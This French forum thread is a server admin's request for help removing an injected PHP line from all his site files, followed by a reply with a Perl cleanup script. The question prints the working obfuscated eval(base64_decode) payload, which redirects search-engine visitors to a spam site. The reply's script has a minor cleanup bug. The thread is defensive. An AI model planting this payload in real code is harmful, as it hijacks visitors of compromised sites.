Rechercher / Remplacer plusieurs fichiers linux

sluminure -  
loupius Messages postés 789 Statut Membre -
Bonjour,

Depuis deux semaines, j'ai un grave probleme sur un de mes serveurs.
En effet, tout les fichiers phpde mes sites hebergés dessus ont une ligne inserés automatiquement à chaque appel php.

<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9nb29nbGUuMndha3kuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));

//le code php normale.
?>
Il s'agit de base64 et en fait il semble s'agir d'une sorte de virus PHP qui redirige certains visiteurs sur un site de spam etc...
LA question c'est comment reussi t-il à s'intégrer dans tous les fichiers ?
J'ai modifié mes mdp ssh, cela ne semble pas venir des acces ftp(en regardant les logs) et cela concerne tous les fichiers php sur le serveur..
Je n'arrive pas à savoir d'ou cela vient.
Le truc c'est que j'ai modifié une fois les fichiers en enlevant la chaine mais aujourd'hui il a remis le code.. je ne sais pas comment.

Bon du coup, j'aimerais bien trouver un script en ligne de commande qui me permette de remplacer cette grand chaine la qui a plein de caractere bizarre par rien.

Avez-vous une suggestion ?

En vous remerciant,

Anselme

1 réponse

  1. loupius Messages postés 789 Statut Membre 148
     
    Voici un script en Perl qui supprime tes 'eval(base64_decode' de tous les fichiers '.php' du répertoire courant; toutefois il ne faut pas qu'il y ait des 'eval(base64_decode' à ne pas supprimer:
    #!/usr/bin/perl -w
    use strict;
    
    my ($fich, $hand, $flag);
    
    opendir ($hand, ".") || die "impossible d'ouvrir ".": $!";
    while ($fich = readdir $hand)
      {
        if ( (-f "$fich") && (-T "$fich") && (-w "$fich") )
          {
            if ($fich=~m/\.php$/)
              {
                if (open (FLect, "$fich") && open (FEcrt, ">${fich}tmp"))
                  {
                    $flag = 0;
                    while (<FLect>)
                      {
                        $flag = 1 if (/eval\(.*?\)/);
                        s/eval\(.*?\)//g;
                        print FEcrt;
                      }
                    close (FLect);
                    close (FEcrt);
                    if ($flag)
                      { # La recherche a abouti -> Renommer le nouveau fichier
                        unlink "$fich";
                        rename "${fich}tmp", "$fich";
                      }
                    else
                      { # La recherche n'a pas abouti -> Effacer nouveau fichier
                        unlink "${fich}zzz";
                      }
                  }
              }
          }
      }
    close ($hand);
    Je ne suis pas très balaise en Perl; on peut, sans aucun doute faire beaucoup plus simple.
    Bonne continuation
    0
    1. loupius Messages postés 789 Statut Membre 148
       
      Je me suis trompé en recopiant, il faut évidemment mettre:
        $flag = 1 if (/eval\(base64_decode\(.*?\)\)/);
        s/eval\(base64_decode\(.*?\)\)//g;
      Sans cette correction, cela fonctionnerait à condition de ne pas avoir d'autres 'eval'.
      Mille excuses.
      0